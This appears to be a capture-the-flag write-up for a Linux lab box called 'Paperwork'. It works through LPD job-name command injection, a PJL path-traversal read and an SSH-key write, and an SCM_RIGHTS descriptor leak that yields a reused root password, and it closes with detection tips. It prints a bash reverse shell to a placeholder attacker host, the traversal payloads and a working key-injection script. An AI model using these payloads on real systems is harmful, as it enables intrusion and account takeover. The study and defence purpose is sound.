Paperwork

Host OS

Linux

Foothold

LPD job-name command injection (TCP 1515) → lp

User

PJL traversal write → authorized_keys → SSH as archivist

Root

SCM_RIGHTS descriptor leak → reused admin password → su

01Enumeration

nmap -Pn -p- --min-rate 5000 -oA scans/all-ports <target>
nmap -Pn -sC -sV -p22,80,1515 -oA scans/services <target>

SSH, HTTP, and a custom LPD-compatible service on TCP 1515. Web and source review led straight to the vulnerable Python LPD implementation — and on this box, reading source was worth far more than any scanner.

job_name = "Unknown"
for line in decoded_content.split('\n'):
    line = line.strip()
    if line.startswith('J'):
        job_name = line[1:]
        break

subprocess.Popen(
    f"echo 'Archive: {job_name}' >> /tmp/archive.log",
    shell=True
)

The control file's job name is attacker-controlled, interpolated into a shell string, and run with shell=True. A single quote closes the intended string and everything after it is shell.

02Foothold — LPD command injection

The job name is shaped so the surrounding echo stays syntactically valid:

Jx'; bash -c 'bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1'; echo 'x

Which the vulnerable line assembles into:

echo 'Archive: x'; \
bash -c 'bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1'; \
echo 'x' >> /tmp/archive.log

nc -lvnp 4444
# uid=7(lp) gid=7(lp) groups=7(lp)

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

03Internal enumeration as lp

cat /etc/passwd | grep -E '/bin/(bash|sh)$'
find /opt/LPDServer -maxdepth 3 -type f -ls 2>/dev/null
ps auxww
ss -lntp

Process enumeration exposes a second printing service:

archivist ... /usr/bin/python3 /home/archivist/printer/jetdirect.py \
    9100 /home/archivist/printer/ /home/archivist/printer/logs/commands.log

# and it is localhost-only:
127.0.0.1:9100

Two details make this the whole next stage:

• It runs as archivist, an interactive account — so any file operation inherits that user's access.
• Its configured base directory is /home/archivist/printer/, which sits one level below ~/.ssh. Traversal out of the base lands somewhere very useful.

04PJL arbitrary file read

The service speaks Printer Job Language filesystem commands. Reading its own command log first confirms the framing is right before trying anything clever:

timeout 5 python3 -c 'import socket
s=socket.create_connection(("127.0.0.1",9100),2); s.settimeout(3)
s.sendall(b"\x1b%-12345X\r\n@PJL FSUPLOAD NAME=\"0:/logs/commands.log\" OFFSET=0 SIZE=4096\r\n\x1b%-12345X\r\n")
print(s.recv(8192).decode(errors="replace"))'

Then traversal, because the base directory is joined without canonicalisation:

/home/archivist/printer/ + ../../../etc/passwd  →  /etc/passwd

@PJL FSUPLOAD NAME="0:/../../../etc/passwd" OFFSET=0 SIZE=4096
# archivist:x:1000:1000:archivist:/home/archivist:/bin/bash

05PJL write — SSH key injection

ssh-keygen -t ed25519 -f ./archivist_key -N ''

The target is one level above the printer base: 0:/../.ssh/authorized_keys. The implementation detail that cost time here: this custom server expects the FSDOWNLOAD header and the file bytes in separate socket reads. Sending them in one sendall produces a zero-byte file with no error.

import socket, time

public_key = b"ssh-ed25519 <public-key-data> attacker@kali\n"

s = socket.create_connection(("127.0.0.1", 9100), 2)
header = (
    b"\x1b%-12345X\r\n"
    b"@PJL FSDOWNLOAD NAME=\"0:/../.ssh/authorized_keys\" SIZE="
    + str(len(public_key)).encode()
    + b"\r\n"
)

s.sendall(header)
time.sleep(0.5)
s.sendall(public_key)     # separate write — this is the part that matters
time.sleep(0.5)
s.close()

Verify with FSUPLOAD, then log in:

ssh -i ./archivist_key archivist@<target>

06Privesc enumeration — reading the daemon

There is no sudo on this system, so it is back to source review:

ls -l /usr/bin/paperwork-daemon
sed -n '1,260p' /usr/bin/paperwork-daemon
ss -xlpn
find /run /var/run /tmp -type s -ls 2>/dev/null

/usr/bin/paperwork-daemon is a world-readable, root-owned Python script. At startup it opens a protected configuration file and keeps the descriptor:

admin_fd = os.open("/etc/paperwork/admin_pins.conf", os.O_RDONLY)

It exposes a Unix socket to group 1000 — which is archivist's group:

socket_path = "/run/paperwork/mgmt.sock"
s.bind(socket_path)
os.chmod(socket_path, 0o660)
os.chown(socket_path, 0, 1000)

And if the printer log contains PJL filesystem verbs, it enters a "lockdown" path:

if any(trigger in content for trigger in ["FSQUERY", "FSUPLOAD", "FSDOWNLOAD"]):
    return True

The lockdown routine then sends the client an "evidence bundle" of file descriptors:

evidence_bundle = array.array("i", [log_fd, admin_fd])
conn.sendmsg([msg], [(socket.SOL_SOCKET, socket.SCM_RIGHTS, evidence_bundle)])

This is the critical design error. SCM_RIGHTS passes access to the open file description itself, not a pathname. The receiving process never needs filesystem permission to open /etc/paperwork/admin_pins.conf — the descriptor is already open, and it was opened by root. Pathname permissions are simply not in the picture.

07Receiving the privileged descriptor

The earlier PJL activity already wrote the trigger strings into commands.log, so connecting to the management socket goes straight down the vulnerable branch:

import socket, array, os

s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect("/run/paperwork/mgmt.sock")

msg, ancdata, flags, address = s.recvmsg(
    4096, socket.CMSG_SPACE(2 * array.array("i").itemsize))

print(msg.decode(errors="replace"))

for level, kind, data in ancdata:
    if level == socket.SOL_SOCKET and kind == socket.SCM_RIGHTS:
        descriptors = array.array("i")
        descriptors.frombytes(data[:len(data) - (len(data) % descriptors.itemsize)])
        for descriptor in descriptors:
            print(os.pread(descriptor, 4096, 0).decode(errors="replace"))
            os.close(descriptor)

s.close()

ALERT: SECURITY_VIOLATION. FORENSIC_CONTEXT_ATTACHED.
...
ADMIN_PASSWORD=<redacted>

08Root

The disclosed administrator password is also the local root password:

su -
# uid=0(root) gid=0(root) groups=0(root)

09If this were your environment

10Detection — the blue-team side

• LPD control-file fields containing shell metacharacters or unusually long job names.
• Outbound connections initiated by the lp account — there is no legitimate case for this.
• PJL FSUPLOAD / FSDOWNLOAD / FSQUERY requests containing ../.
• Writes to /home/*/.ssh/authorized_keys by a printer-related process.
• Unexpected connections to /run/paperwork/mgmt.sock, and anomalous SCM_RIGHTS use by privileged processes.
• su to root shortly after access to application secret files.

11Takeaways

• Source review beat scanning. Every step here came from reading code that was sitting there world-readable.
• Internal-only services still need real trust boundaries. "Bound to localhost" described the network position, not the security model.
• Filesystem restrictions must be applied after canonical path resolution — a base-directory string prefix is not containment.
• Unix descriptor passing bypasses pathname permissions by design. That is the single most transferable thing on this box.
• Small implementation details decide whether an exploit works. Header and payload in separate socket writes was the difference between a key and a zero-byte file.
• Credential separation is the cheapest control here and would have broken the chain at the last step.

back to writeups